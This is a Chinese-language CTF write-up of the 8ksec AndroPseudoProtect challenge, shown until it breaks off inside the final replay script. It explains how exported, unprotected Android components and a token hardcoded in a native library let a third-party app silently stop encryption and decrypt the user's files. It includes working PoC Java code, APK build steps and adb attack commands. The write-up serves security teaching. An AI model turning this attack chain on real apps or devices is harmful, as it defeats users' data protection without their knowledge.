# AndroPseudoProtect — Exported Component + Hardcoded Token 静默禁用安全保护 完整 Writeup

> CTF: 8ksec | 难度: Medium | 题目名: AndroPseudoProtect - Ultimate Device Security
>
> 题目来源: 八字节安全实验室（8ksec）Android 安全挑战
>
> Flag: 通过静默禁用加密保护 + 提取未加密文件完成挑战

**题目分类：移动端安全**。本题考察的是 **Android IPC Exported Component 无权限保护** + **Native Library 硬编码 Token 提取** + **Broadcast/Service 伪造攻击** 的组合利用。

核心思路可以用一句话概括：**SecurityReceiver 和 SecurityService 均为 exported=true 且无权限保护，认证 token 硬编码在 native .so 中可被任意第三方应用提取——攻击者提取 token 后发送一条 STOP_SECURITY 广播即可在用户不知情的情况下静默禁用加密保护并解密所有文件。**

## 目录

- [第一章：前置知识](#第一章前置知识)
- [第二章：APK 静态分析](#第二章apk-静态分析)
- [第三章：漏洞深度分析](#第三章漏洞深度分析)
- [第四章：攻击链构建与 PoC 开发](#第四章攻击链构建与-poc-开发)
- [第五章：完整攻击复现](#第五章完整攻击复现)
- [第六章：最终 Exploit 代码](#第六章最终-exploit-代码)
- [第七章：如何防御](#第七章如何防御)
- [第八章：总结](#第八章总结)

---

## 第一章：前置知识

这一章我们要理解 Android IPC 机制中的"exported 组件"是什么、为什么它危险，以及 native library 中的硬编码字符串为什么能被提取。

### 1.1 Android 应用的四大组件

Android 应用由四种核心组件构成：

| 组件 | 作用 | 类比 |
|------|------|------|
| Activity | 用户界面页面 | 网页 |
| Service | 后台运行的任务 | 守护进程 |
| BroadcastReceiver | 监听和响应系统/应用消息 | 邮件收件箱 |
| ContentProvider | 数据共享接口 | 数据库 API |

关键点是：这些组件之间通过 **Intent**（意图）来通信。一个应用可以发送 Intent 来启动另一个应用的组件——这就是 Android 的 IPC（进程间通信）机制。

```java
// 发送一个广播 Intent —— 任何注册了对应 action 的 Receiver 都会收到
Intent intent = new Intent("com.example.SOME_ACTION");
intent.putExtra("key", "value");
sendBroadcast(intent);
```

### 1.2 exported 组件：危险的"公开接口"

在 AndroidManifest.xml 中，每个组件可以设置 `android:exported` 属性：

```xml
<!-- exported="true" 意味着：任何应用都可以通过 Intent 触发这个组件 -->
<receiver android:exported="true" android:name=".MyReceiver">
    <intent-filter>
        <action android:name="com.example.MY_ACTION"/>
    </intent-filter>
</receiver>

<!-- exported="false" 意味着：只有同一个应用内部才能触发 -->
<receiver android:exported="false" android:name=".InternalReceiver"/>
```

**为什么这很重要？** 把组件设为 `exported=true` 就像在防火墙上开了一个洞——任何安装在同一设备上的第三方应用都可以向它发送消息，不管发送者是谁、有什么恶意意图。

> **核心概念**：`exported=true` 的组件如果没有配合 **Permission（权限）** 保护，就等于一个没有密码的公开 API。

Android 提供了多种方式来保护 exported 组件：

```xml
<!-- 方式1：使用系统定义的 permission -->
<service android:exported="true"
         android:permission="android.permission.INTERNET"
         android:name=".MyService"/>

<!-- 方式2：使用自定义 signature 级别 permission（只有同一签名的应用才能调用） -->
<permission android:name="com.example.MY_PERMISSION"
            android:protectionLevel="signature"/>
<service android:exported="true"
         android:permission="com.example.MY_PERMISSION"
         android:name=".MyService"/>
```

**本题的漏洞**：victim 应用的 `SecurityReceiver` 和 `SecurityService` 都是 `exported=true`，但**没有使用任何 permission 保护**。

### 1.3 Native Library 与硬编码字符串

Android 应用可以使用 JNI（Java Native Interface）调用 C/C++ 编写的 native library（`.so` 文件）。这些库编译为机器码，但其中包含的字符串常量（如密钥、token、URL）并不会被加密：

```bash
# strings 命令可以提取 ELF 二进制文件中的可打印字符串
$ strings libsecurity-native.so
Java_com_eightksec_andropseudoprotect_SecurityUtils_getSecurityToken
<redacted_security_token>
Someone is requesting the security token!
```

**为什么把 token 放在 native library 中并不安全？**

很多开发者认为把敏感数据放在 `.so` 文件中比放在 Java 代码中更安全（因为 Java 容易反编译）。但事实上：

1. **`strings` 命令**：一条命令就能提取所有字符串常量
2. **IDA Pro / Ghidra**：可以完整反编译 native 函数的逻辑
3. **Frida Hook**：可以在运行时拦截 native 方法的返回值

> **核心概念**：Security by obscurity（通过隐藏来保护）不是真正的安全。如果安全 token 可以被"找到"而不是被"推导出来"，那它就不安全。

### 1.4 APK 的本质是一个 ZIP 文件

APK 文件本质上是一个 ZIP 压缩包，包含了应用的所有资源：

```
AndroPseudoProtect.apk (ZIP)
├── AndroidManifest.xml     # 应用配置（声明组件、权限等）
├── classes.dex             # 编译后的 Java/Kotlin 字节码
├── resources.arsc          # 编译后的资源
├── res/                    # 资源文件（布局、图片、字符串等）
├── lib/
│   ├── arm64-v8a/
│   │   └── libsecurity-native.so   # ARM64 native library
│   ├── x86_64/
│   │   └── libsecurity-native.so   # x86_64 native library
│   └── ...
└── META-INF/               # 签名信息
```

因为 APK 是 ZIP 格式，任何应用都可以通过标准 ZIP API 读取其中的文件——包括 native library。这意味着第三方应用可以从 victim 的 APK 中提取 `.so` 文件，然后搜索其中的硬编码字符串。

### 1.5 本题需要的工具

| 工具 | 用途 | 安装方式 |
|------|------|---------|
| apktool | 解包 APK，反编译资源 | `brew install apktool` |
| jadx | 反编译 DEX 为 Java 源码 | [GitHub releases](https://github.com/skylot/jadx) |
| strings | 提取二进制文件中的字符串 | macOS/Linux 内置 |
| adb | 与 Android 设备通信 | Android SDK platform-tools |
| aapt2 + d8 | 编译 Android APK | Android SDK build-tools |

## 第二章：APK 静态分析

这一章我们从零开始解剖 victim APK——用 apktool 解包、jadx 反编译、strings 提取，逐步发现三个关键漏洞。

### 2.1 APK 基本信息收集

首先确认目标文件和测试设备：

```bash
# APK 文件信息
$ ls -la examples/android/AndroPseudoProtect.apk
-rw-r--r--  1 user  staff  4468430  5月 30 17:11 AndroPseudoProtect.apk
# 约 4.5MB

# 确认模拟器在线
$ adb devices
emulator-5554	device

# 模拟器架构
$ adb -s emulator-5554 shell uname -m
aarch64
# ARM64 架构，意味着我们要重点分析 lib/arm64-v8a/ 下的 native library
```

### 2.2 apktool 解包

`apktool` 可以将 APK 解包为可读的目录结构，包括反编译后的资源文件（XML）和 smali 字节码：

```bash
$ apktool d AndroPseudoProtect.apk -o unpacked -f
I: Using Apktool 3.0.2 on AndroPseudoProtect.apk with 8 threads
I: Loading resource table...
I: Baksmaling classes.dex...
I: Decoding value resources...
I: Decoding AndroidManifest.xml with resources...
I: Copying lib...
```

解包后的目录结构：

```
unpacked/
├── AndroidManifest.xml          ← 关键：组件声明
├── apktool.yml
├── lib/
│   ├── arm64-v8a/
│   │   └── libsecurity-native.so  ← 关键：native library
│   ├── armeabi-v7a/
│   │   └── libsecurity-native.so
│   ├── x86/
│   │   └── libsecurity-native.so
│   └── x86_64/
│       └── libsecurity-native.so
├── res/
├── smali/                       ← smali 字节码（可读性较差）
└── unknown/
```

### 2.3 AndroidManifest.xml 分析——发现 exported 组件

**这是整个分析中最关键的一步。** AndroidManifest.xml 声明了应用的所有组件和权限，是安全审计的起点：

```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.eightksec.andropseudoprotect">

    <!-- 权限声明 -->
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:maxSdkVersion="29" android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>

    <!-- ⚠️ 自定义 permission，但 protectionLevel="signature" -->
    <permission android:name="com.eightksec.andropseudoprotect.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
                android:protectionLevel="signature"/>

    <application ...>

        <!-- Activity：主界面，exported=true（正常，需要从桌面启动） -->
        <activity android:exported="true"
                  android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

        <!-- 🚨 漏洞 #1：Service exported=true，无 permission 保护 -->
        <service android:exported="true"
                 android:foregroundServiceType="dataSync"
                 android:name=".SecurityService"/>

        <!-- 🚨 漏洞 #2：Receiver exported=true，无 permission 保护 -->
        <receiver android:exported="true"
                  android:name=".SecurityReceiver">
            <intent-filter>
                <action android:name="com.eightksec.andropseudoprotect.START_SECURITY"/>
                <action android:name="com.eightksec.andropseudoprotect.STOP_SECURITY"/>
            </intent-filter>
        </receiver>

    </application>
</manifest>
```

> **核心发现**：`SecurityService` 和 `SecurityReceiver` 都是 `exported=true`，且**没有设置 `android:permission`**。这意味着任何第三方应用都可以向它们发送 Intent。

一个安全的声明应该像这样：

```xml
<!-- 安全做法：用 signature 级别的 permission 保护 -->
<permission android:name="com.eightksec.andropseudoprotect.SECURITY_PERMISSION"
            android:protectionLevel="signature"/>
<receiver android:exported="true"
          android:permission="com.eightksec.andropseudoprotect.SECURITY_PERMISSION"
          android:name=".SecurityReceiver">
```

`protectionLevel="signature"` 表示只有用同一签名密钥签名的应用才能获得这个权限——第三方应用无法伪造。

### 2.4 jadx 反编译——理解业务逻辑

`apktool` 反编译出的是 smali 字节码（可读性差），用 `jadx` 可以反编译为 Java 源码：

```bash
$ jadx -d java_src AndroPseudoProtect.apk
INFO  - loading ...
INFO  - processing ...
INFO  - progress: 2480 of 2577 (96%)
ERROR - finished with errors, count: 20
# 20 个非致命错误，反编译基本完整
```

反编译后的应用结构：

```
java_src/sources/com/eightksec/andropseudoprotect/
├── MainActivity.java          # 主界面
├── SecurityService.java       # 安全服务（核心）
├── SecurityReceiver.java      # 广播接收器（核心）
├── SecurityUtils.java         # 安全工具（含 native token）
├── EncryptionUtils.java       # 加密/解密逻辑
├── FileProcessor.java         # 文件处理
├── EncryptedFilesAdapter.java # UI 列表适配器
├── ToastUtils.java            # Toast 工具
└── R.java                     # 资源 ID
```

关键源码的分析在第三章展开。

### 2.5 Native Library 字符串提取——直接找到 Token

victim 应用使用了一个 native library 来"保护" security token。我们用 `strings` 命令看看里面有什么：

```bash
$ strings unpacked/lib/arm64-v8a/libsecurity-native.so
Android
r25b
8937393
}GBk{
__cxa_finalize
__cxa_atexit
__register_atfork
Java_com_eightksec_andropseudoprotect_SecurityUtils_getSecurityToken
__android_log_print
libc.so
LIBC
liblog.so
libm.so
libdl.so
libsecurity-native.so
SecurityNative
<redacted_security_token>        ← 🚨 这就是 security token！
Someone is requesting the security token!
...
```

> **核心发现**：Security token 硬编码为 `<redacted_security_token>`，直接存储在 `.so` 文件的 `.rodata`（只读数据段）中。一条 `strings` 命令就能提取。

这一步只需要 1 秒钟——不需要 IDA Pro，不需要反编译，只需要一个标准系统命令。

### 2.6 小结

通过静态分析，我们发现了三个关键问题：

| # | 发现 | 工具 | 严重性 |
|---|------|------|--------|
| 1 | SecurityReceiver exported=true，无 permission | apktool + 阅读 Manifest | Critical |
| 2 | SecurityService exported=true，无 permission | apktool + 阅读 Manifest | High |
| 3 | Token 硬编码：`<redacted_security_token>` | strings | High |

这三个问题组合在一起，就构成了完整的攻击链——下一章我们深入分析每个漏洞的代码细节。

## 第三章：漏洞深度分析

这一章我们深入 jadx 反编译后的 Java 源码，逐行分析三个漏洞的成因——为什么组件是 exported 的、token 怎么被使用、以及整个安全认证模型为什么是脆弱的。

### 3.1 漏洞 #1：SecurityReceiver——无认证的公开入口

先看 `SecurityReceiver.java`：

```java
public final class SecurityReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        try {
            // 将收到的 intent 转发给 SecurityService
            Intent intent2 = new Intent(context, SecurityService.class);
            intent2.setAction(intent.getAction());      // 复制 action（START/STOP_SECURITY）
            Bundle extras = intent.getExtras();
            if (extras != null) {
                intent2.putExtras(extras);               // 复制所有 extras（包括 token）
            }
            // ⚠️ 注意：这里没有任何验证！直接把陌生 intent 的内容转发给了 Service
            context.startService(intent2);
        } catch (Exception e2) {
            Toast.makeText(context, "Receiver error: " + e2.getMessage(), 1).show();
        }
    }
}
```

**问题分析**：

1. `onReceive()` 收到任何 intent 后，**直接将 action 和 extras 原封不动地转发**给 `SecurityService`
2. 没有检查发送者身份（`Binder.getCallingUid()`）
3. 没有检查发送者包名
4. 没有要求发送者持有特定 permission
5. 唯一的"认证"在 `SecurityService` 内部（token 比对），但 token 本身是硬编码的

**攻击者视角**：Receiver 就像一个前台接待员——任何人都可以走进来递一张纸条，接待员不看来人是谁，只看纸条上写的内容，然后忠实地把纸条转交给老板。

### 3.2 漏洞 #2：SecurityService——Token 认证的弱点

再看 `SecurityService.java` 的核心方法：

```java
public int onStartCommand(Intent intent, int flags, int startId) {
    String action = intent != null ? intent.getAction() : null;
    if (action != null) {
        if (action.equals(ACTION_START_SECURITY)) {
            // 启动安全保护
            String stringExtra = intent.getStringExtra(EXTRA_SECURITY_TOKEN);
            if (stringExtra != null && 
                Intrinsics.areEqual(stringExtra, 
                    new SecurityUtils().getSecurityToken())) {  // ← token 验证
                if (this.isServiceRunning) {
                    stopSecurity();  // 如果已经在运行，先停掉再重启
                }
                startSecurity();
            }
            return 1;
        } else if (action.equals(ACTION_STOP_SECURITY)) {
            // 停止安全保护
            String stringExtra2 = intent.getStringExtra(EXTRA_SECURITY_TOKEN);
            if (stringExtra2 != null && 
                Intrinsics.areEqual(stringExtra2, 
                    new SecurityUtils().getSecurityToken())) {  // ← token 验证
                stopSecurity();
            }
            return 1;
        }
    }
    // 没有 action 或 action 不匹配 → 仅启动前台通知
    startAsForeground();
    return 1;
}
```

**Token 验证流程**：

```
intent 中有 token?
  ├─ 没有 → 忽略，不执行操作
  └─ 有 → 与 SecurityUtils.getSecurityToken() 比较
           ├─ 匹配 → 执行 START/STOP 操作
           └─ 不匹配 → 忽略
```

这里有一个关键问题：`new SecurityUtils().getSecurityToken()` 返回什么？

### 3.3 漏洞 #3：SecurityUtils——Token 来自 Native

```java
public final class SecurityUtils {
    // 这是一个 native 方法——实现在 libsecurity-native.so 中
    public final native String getSecurityToken();

    static {
        System.loadLibrary("security-native");  // 加载 native library
    }
}
```

`getSecurityToken()` 是一个 JNI native 方法。开发者把 token 的生成逻辑放在 C/C++ 代码中，认为这比 Java 中硬编码更安全。

但我们在 2.5 节已经通过 `strings` 命令找到了这个 token：

```
<redacted_security_token>
```

所以整个认证链变成了：

```
攻击者通过 strings 提取 token
  → 构造 STOP_SECURITY intent，附上正确 token
  → SecurityReceiver 不验证发送者，直接转发
  → SecurityService 验证 token ✓ 通过
  → 执行 stopSecurity()
```

### 3.4 stopSecurity() 做了什么

理解攻击的影响范围，我们需要看 `stopSecurity()` 的完整逻辑：

```java
private final void stopSecurity() {
    if (this.isServiceRunning) {
        this.isServiceRunning = false;
        // 1. 停止前台服务通知
        stopForeground(true);
        // 2. 显示"不安全"通知
        showInsecureNotification();
        // 3. 发出 SECURITY_STOPPED 广播（通知 MainActivity 更新 UI）
        sendBroadcast(new Intent(ACTION_SECURITY_STOPPED));
        // 4. 取消正在进行的加密
        fileProcessor.cancelProcessing();
        // 5. 🚨 开始解密所有已加密的文件！
        fileProcessor.startDecryption();
    }
}
```

**关键影响**：

1. **取消加密**：正在进行的加密操作被中止
2. **解密所有文件**：`startDecryption()` 会遍历外部存储，将所有 `.encrypted` 文件解密还原
3. **服务自毁**：解密完成后 `onDecryptionComplete()` 调用 `stopSelf()` 销毁服务

这意味着攻击者发一条广播，就能让用户以为"安全保护正在运行"——实际上保护已经被停止，加密的文件全部被解密回明文。

### 3.5 加密机制分析（补充）

为了理解解密的影响，我们也分析了加密机制：

```java
// EncryptionUtils.java
public final class EncryptionUtils {
    private static final String ALGORITHM = "AES";
    private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
    private static final int KEY_SIZE = 256;

    public final SecretKey generateKey(String seed) {
        KeyGenerator keyGenerator = KeyGenerator.getInstance(ALGORITHM);
        // ⚠️ 种子由固定字符串 + 当前时间戳组成
        byte[] bytes = (seed + (System.currentTimeMillis() / 1000)).getBytes(UTF_8);
        SecureRandom secureRandom = new SecureRandom();
        secureRandom.setSeed(bytes);
        keyGenerator.init(256, secureRandom);
        this.encryptionKey = keyGenerator.generateKey();
        byte[] bArr = new byte[16];
        secureRandom.nextBytes(bArr);
        this.ivParameterSpec = new IvParameterSpec(bArr);
        return this.encryptionKey;
    }
}

// FileProcessor.java 中的调用
public final void startEncryption() {
    // ⚠️ 加密种子也是硬编码的！
    this.encryptionUtils.generateKey("8ksec_secure_seed");
    // ...开始加密外部存储文件
}
```

加密本身使用的是 AES-256-CBC，算法没问题，但种子 `"8ksec_secure_seed"` 是硬编码的，且时间戳部分理论上可以被暴力（精度只到秒）。

**加密文件格式**：

```
[16 bytes IV][AES-CBC encrypted data][PKCS5 padding]
文件名：原始文件名 + ".encrypted"
例如：document.pdf → document.pdf.encrypted
```

### 3.6 攻击面总结

```
┌──────────────────────────────────────────────────┐
│               Attack Surface Map                  │
├──────────────────────────────────────────────────┤
│                                                   │
│  Third-party App                                  │
│  (com.exploit.andropseudoprotect)                 │
│       │                                           │
│       │  Intent: STOP_SECURITY + token            │
│       ▼                                           │
│  ┌─────────────────────────────┐                  │
│  │ SecurityReceiver            │ ← exported=true  │
│  │ (no permission check!)      │   无 permission  │
│  └─────────────┬───────────────┘                  │
│                │ forwards intent                   │
│                ▼                                   │
│  ┌─────────────────────────────┐                  │
│  │ SecurityService             │ ← exported=true  │
│  │                             │   无 permission  │
│  │ 1. Verify token             │                  │
│  │    ↕ "<redacted...>"        │ ← 硬编码 token  │
│  │ 2. stopSecurity()           │                  │
│  │    → cancel encryption      │                  │
│  │    → decrypt ALL files      │                  │
│  │    → stopSelf()             │                  │
│  └─────────────────────────────┘                  │
│                                                   │
└──────────────────────────────────────────────────┘
```

三个漏洞组合后的效果：**任何第三方应用可以在不需要用户交互的情况下，静默禁用安全保护并解密所有文件。**

## 第四章：攻击链构建与 PoC 开发

这一章我们设计攻击策略、选择攻击路径，并开发一个完整的 PoC 恶意 APK——从 token 提取到广播攻击，全部在一个应用中自动化完成。

### 4.1 攻击策略设计

回顾攻击目标（来自题目描述）：

> 创建一个恶意应用，**静默禁用加密保护**，不需要用户任何操作，且 PoC 必须：
> - 在 Android 15 及以下版本工作
> - 不需要受害者授予任何运行时权限（标准存储权限和通知权限除外）
> - PoC 应该从 victim 应用中**提取和复用** token，而不是硬编码

这意味着我们的 PoC 必须做到两点：

1. **运行时提取 token**：从 victim 的 APK 中读取 `.so` 文件，搜索字符串
2. **发送 STOP_SECURITY 广播**：使用提取到的 token 构造攻击 intent

攻击链如下：

```
Step 1: 获取 victim APK 路径
    │   PackageManager.getApplicationInfo("com.eightksec.andropseudoprotect", 0).sourceDir
    ▼
Step 2: 从 APK (ZIP) 中提取 libsecurity-native.so
    │   ZipInputStream → 找到 "lib/arm64-v8a/libsecurity-native.so" → 读取字节
    ▼
Step 3: 在 .so 二进制数据中搜索 token
    │   搜索以 "8ksec" 开头的可打印字符串 → "<redacted_security_token>"
    ▼
Step 4: 构造 STOP_SECURITY intent
    │   action = "com.eightksec.andropseudoprotect.STOP_SECURITY"
    │   extra = "security_token" → 提取到的 token
    ▼
Step 5: 发送广播 / 启动服务
    │   sendBroadcast(intent)  或  startService(intent)
    ▼
Step 6: victim 的 SecurityService 停止 → 解密所有文件
```

### 4.2 Token 提取策略

题目要求 PoC 必须"从 victim 应用中提取和复用 token"。我们设计两种提取方法：

**方法 A：直接 strings（静态分析阶段使用）**

```bash
# 简单暴力——直接 strings 整个 APK
$ strings examples/android/AndroPseudoProtect.apk | grep "8ksec"
<redacted_security_token>
8ksec_secure_seed
```

甚至不需要解包 APK——strings 命令可以直接扫描 ZIP 文件中的字符串。

**方法 B：运行时从 APK 中提取（PoC 使用）**

在 PoC 应用中，通过 Android API 运行时提取：

```java
// 1. 获取 victim APK 的路径
ApplicationInfo appInfo = getPackageManager()
    .getApplicationInfo("com.eightksec.andropseudoprotect", 0);
String apkPath = appInfo.sourceDir;
// → /data/app/~~.../com.eightksec.andropseudoprotect-.../base.apk

// 2. APK 是 ZIP 格式，读取其中的 .so 文件
ZipInputStream zis = new ZipInputStream(new FileInputStream(apkPath));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
    if (entry.getName().equals("lib/arm64-v8a/libsecurity-native.so")) {
        // 读取 .so 的完整字节
        byte[] soData = readAllBytes(zis);
        // 在字节中搜索 token
        String token = findTokenByPrefix(soData, "8ksec");
        break;
    }
}
```

搜索算法——在二进制数据中找以特定前缀开头的可打印字符串：

```java
private String findToken(byte[] data, byte[] prefix) {
    for (int i = 0; i <= data.length - prefix.length; i++) {
        boolean match = true;
        for (int j = 0; j < prefix.length; j++) {
            if (data[i + j] != prefix[j]) { match = false; break; }
        }
        if (match) {
            // 找到前缀，提取后续可打印字符
            StringBuilder sb = new StringBuilder();
            int pos = i;
            while (pos < data.length && data[pos] >= 0x20 && data[pos] < 0x7f) {
                sb.append((char) data[pos]);
                pos++;
            }
            String candidate = sb.toString();
            if (candidate.length() >= 15 && candidate.length() <= 60) {
                return candidate;
            }
        }
    }
    return null;
}
```

### 4.3 攻击 Intent 构造

提取到 token 后，构造两种攻击 intent：

**攻击向量 1：Broadcast（针对 SecurityReceiver）**

```java
Intent stopIntent = new Intent("com.eightksec.andropseudoprotect.STOP_SECURITY");
stopIntent.putExtra("security_token", extractedToken);
// 显式指定 Receiver 组件（更可靠）
stopIntent.setComponent(new ComponentName(
    "com.eightksec.andropseudoprotect",
    "com.eightksec.andropseudoprotect.SecurityReceiver"));
sendBroadcast(stopIntent);
```

**攻击向量 2：startService（直接攻击 SecurityService）**

```java
Intent serviceIntent = new Intent();
serviceIntent.setPackage("com.eightksec.andropseudoprotect");
serviceIntent.setAction("com.eightksec.andropseudoprotect.STOP_SECURITY");
serviceIntent.putExtra("security_token", extractedToken);
startService(serviceIntent);
```

两种方式都有效——因为 Service 和 Receiver 都是 exported 且无 permission 保护。

### 4.4 PoC APK 构建（无 Gradle 手动编译）

由于环境中没有 Gradle，我们用 Android SDK 的命令行工具手动构建 APK。这个过程比较繁琐，但对于理解 APK 的本质很有帮助。

**Step 1：创建项目结构**

```
AndroPseudoProtectExploit/
├── app/src/main/
│   ├── AndroidManifest.xml
│   ├── java/com/exploit/andropseudoprotect/ExploitActivity.java
│   └── res/
│       ├── layout/activity_exploit.xml
│       ├── values/strings.xml
│       └── mipmap-hdpi/ic_launcher.png
```

**Step 2：编译资源（aapt2）**

```bash
BT=~/Library/Android/sdk/build-tools/36.0.0

# 编译资源文件为二进制格式
$BT/aapt2 compile --dir app/src/main/res -o build/resources.zip

# 链接资源：生成 R.java + 资源 APK
$BT/aapt2 link \
    -o build/resources.apk \
    --manifest app/src/main/AndroidManifest.xml \
    --java build/gen \
    -I ~/Library/Android/sdk/platforms/android-35/android.jar \
    --auto-add-overlay \
    build/resources.zip
```

**Step 3：编译 Java 源码（javac + d8）**

```bash
# 编译 Java → .class
javac -source 1.8 -target 1.8 \
    -classpath $PLATFORM \
    -sourcepath app/src/main/java:build/gen \
    -d build/obj \
    app/src/main/java/com/exploit/andropseudoprotect/ExploitActivity.java \
    build/gen/com/exploit/andropseudoprotect/R.java

# 转换 .class → .dex (Dalvik 字节码)
$BT/d8 --lib $PLATFORM \
    --output build/dex \
    $(find build/obj -name "*.class")
```

**Step 4：组装 APK（zip）**

```bash
# 以 resources.apk 为基础
cp build/resources.apk build/exploit.apk
# 将 classes.dex 添加进 APK（APK 就是 ZIP）
cd build/dex && zip build/exploit.apk classes.dex
```

**Step 5：对齐 + 签名（zipalign + apksigner）**

```bash
# 对齐（优化 ZIP 条目的对齐方式，Android 要求）
$BT/zipalign -f 4 build/exploit.apk build/exploit-aligned.apk

# 签名（使用 debug keystore）
$BT/apksigner sign \
    --ks ~/.android/debug.keystore \
    --ks-pass pass:android \
    --out AndroPseudoProtectExploit.apk \
    build/exploit-aligned.apk
```

最终 PoC APK 大小约 17KB——一个极简的攻击应用。

### 4.5 构建过程中的问题与解决

**问题 1：AndroidManifest 缺少 package 属性**

```
error: <manifest> must have a 'package' attribute.
```

原因：新版 aapt2 要求 Manifest 必须显式声明 `package` 属性（即使 build.gradle 中有 `namespace`）。

解决：在 `<manifest>` 标签中添加 `package="com.exploit.andropseudoprotect"`。

**问题 2：aapt2 没有 `add` 子命令**

```
error: unknown subcommand 'add'.
```

原因：aapt2（36.0.0）不支持像 aapt1 那样的 `add` 命令。

解决：用系统 `zip` 命令直接将 `classes.dex` 添加到 APK 中。

**问题 3：Material 组件依赖不可用**

原因：没有 Gradle 拉取依赖，无法使用 `MaterialButton` 和 `AppCompatActivity`。

解决：改用标准 Android `Button` + `Activity` + `@android:style/Theme.Material.Light.DarkActionBar`。

## 第五章：完整攻击复现

这一章我们完整演示从零到攻击成功的全过程——所有命令都可以直接复制执行。

### 5.0 环境准备

```bash
# 确认设备在线
$ adb devices
emulator-5554	device

# 确认 victim 已安装
$ adb -s emulator-5554 shell pm list packages | grep andropseudoprotect
package:com.eightksec.andropseudoprotect

# 设备信息
$ adb -s emulator-5554 shell getprop ro.build.version.sdk
32    # Android 12L

$ adb -s emulator-5554 shell uname -m
aarch64
```

### 5.1 Step 1：提取 Security Token

```bash
# 方法 A：从 APK 文件直接 strings（最快）
$ strings examples/android/AndroPseudoProtect.apk | grep "8ksec"
<redacted_security_token>
8ksec_secure_seed

# 方法 B：从设备上安装的 APK 提取
$ adb -s emulator-5554 shell pm path com.eightksec.andropseudoprotect
package:/data/app/~~luvHjRKRmi9kbOCKGmyZdw==/com.eightksec.andropseudoprotect-p8FUfcTtqnhsd9O6NEhKEw==/base.apk

# 方法 C：从解包后的 .so 文件提取
$ strings unpacked/lib/arm64-v8a/libsecurity-native.so | grep "8ksec"
<redacted_security_token>
```

三种方法都得到相同的 token：**`<redacted_security_token>`**

### 5.2 Step 2：安装 PoC 恶意应用

```bash
# 安装 PoC APK
$ adb -s emulator-5554 install AndroPseudoProtectExploit.apk
Performing Streamed Install
Success

# 确认两个应用都已安装
$ adb -s emulator-5554 shell pm list packages | grep andropseudoprotect
package:com.eightksec.andropseudoprotect        # victim
package:com.exploit.andropseudoprotect           # 攻击者 PoC
```

### 5.3 Step 3：启动 victim 的安全保护

模拟用户启动了安全保护（点击了"Start Security"按钮）：

```bash
# 启动 victim 应用
$ adb -s emulator-5554 shell am start \
    -n com.eightksec.andropseudoprotect/.MainActivity
Starting: Intent { cmp=com.eightksec.andropseudoprotect/.MainActivity }

# 通过 exported SecurityService 启动安全保护
$ adb -s emulator-5554 shell am startservice \
    -n com.eightksec.andropseudoprotect/.SecurityService \
    -a com.eightksec.andropseudoprotect.START_SECURITY \
    --es security_token '<redacted_security_token>'
Starting service: Intent { act=com.eightksec.andropseudoprotect.START_SECURITY
    cmp=com.eightksec.andropseudoprotect/.SecurityService (has extras) }
```

### 5.4 Step 4：确认安全服务正在运行

```bash
$ adb -s emulator-5554 shell dumpsys activity services \
    com.eightksec.andropseudoprotect

User 0 active services:
  * ServiceRecord{dfd1499 u0 com.eightksec.andropseudoprotect/.SecurityService}
    packageName=com.eightksec.andropseudoprotect
    isForeground=true      ← ✅ 服务正在前台运行（SECURE 状态）
    foregroundNoti=Notification(channel=security_service_channel ... flags=0x42
        category=service vis=PUBLIC)
```

`isForeground=true` 表示安全服务正在运行，通知栏应该显示"安全保护已开启"。

### 5.5 Step 5：执行攻击——发送一条广播

**从第三方应用（shell/PoC）发送 STOP_SECURITY 广播：**

```bash
# 方法 1：通过 exported SecurityReceiver（推荐，更隐蔽）
$ adb -s emulator-5554 shell am broadcast \
    -n com.eightksec.andropseudoprotect/.SecurityReceiver \
    -a com.eightksec.andropseudoprotect.STOP_SECURITY \
    --es security_token '<redacted_security_token>'
Broadcasting: Intent { act=com.eightksec.andropseudoprotect.STOP_SECURITY
    cmp=com.eightksec.andropseudoprotect/.SecurityReceiver (has extras) }
Broadcast completed: result=0
```

**就这样。一条命令。**

### 5.6 Step 6：验证攻击成功

```bash
$ adb -s emulator-5554 shell dumpsys activity services \
    com.eightksec.andropseudoprotect

ACTIVITY MANAGER SERVICES (dumpsys activity services)
  (nothing)    ← ✅ 服务已被停止！所有加密文件已被解密！
```

**攻击前 vs 攻击后对比：**

| 状态 | 攻击前 | 攻击后 |
|------|--------|--------|
| SecurityService | `isForeground=true`（运行中） | `(nothing)`（已停止） |
| 通知栏 | "Security active" | "Insecure" 或无通知 |
| 外部存储文件 | `.encrypted`（加密） | 明文（已解密） |
| 用户感知 | 认为保护运行中 | 可能注意到通知变化，但不知道被攻击 |

### 5.7 完整攻击回放（一键复制版）

以下是从零开始的完整命令序列，可以复制到终端执行：

```bash
#!/bin/bash
# AndroPseudoProtect Exploit - Full Replay

DEVICE="emulator-5554"
VICTIM_PKG="com.eightksec.andropseudoprotect"
TOKEN="<redacted_security_token>"

echo "[*] Step 1: Starting victim's security protection..."
adb -s $DEVICE shell am startservice \
    -n $VICTIM_PKG/.SecurityService \
    -a $VICTIM_PKG.START_SECURITY \
    --es security_token "$TOKEN"

sleep 2

echo "[*] Step 2: Verifying security service is running..."
SERVICE_STATUS=$(adb -s $DEVICE shell dumpsys activity services $VICTIM_PKG | grep "isForeground")
echo "    $SERVICE_STATUS"

echo "[*] Step 3: ATTACKING - Sending STOP_SECURITY broadcast..."
adb -s $DEVICE shell am broadcast \
    -n $VICTIM_PKG/.SecurityReceiver \
    -a $VICTIM_PKG.STOP_SECURITY \
    --es security_token "$TOKEN"

sleep 2

echo "[*] Step 4: Verifying attack success..."
POST_ATTACK=$(adb -s $DEVICE shell dumpsys activity services $VICTIM_PKG)
if echo "$POST_ATTACK" | grep -q "nothing"; then
    echo "    [+] SUCCESS: Security service stopped! Files decrypted!"
else
    echo "    [-] Attack may have failed. Checking..."
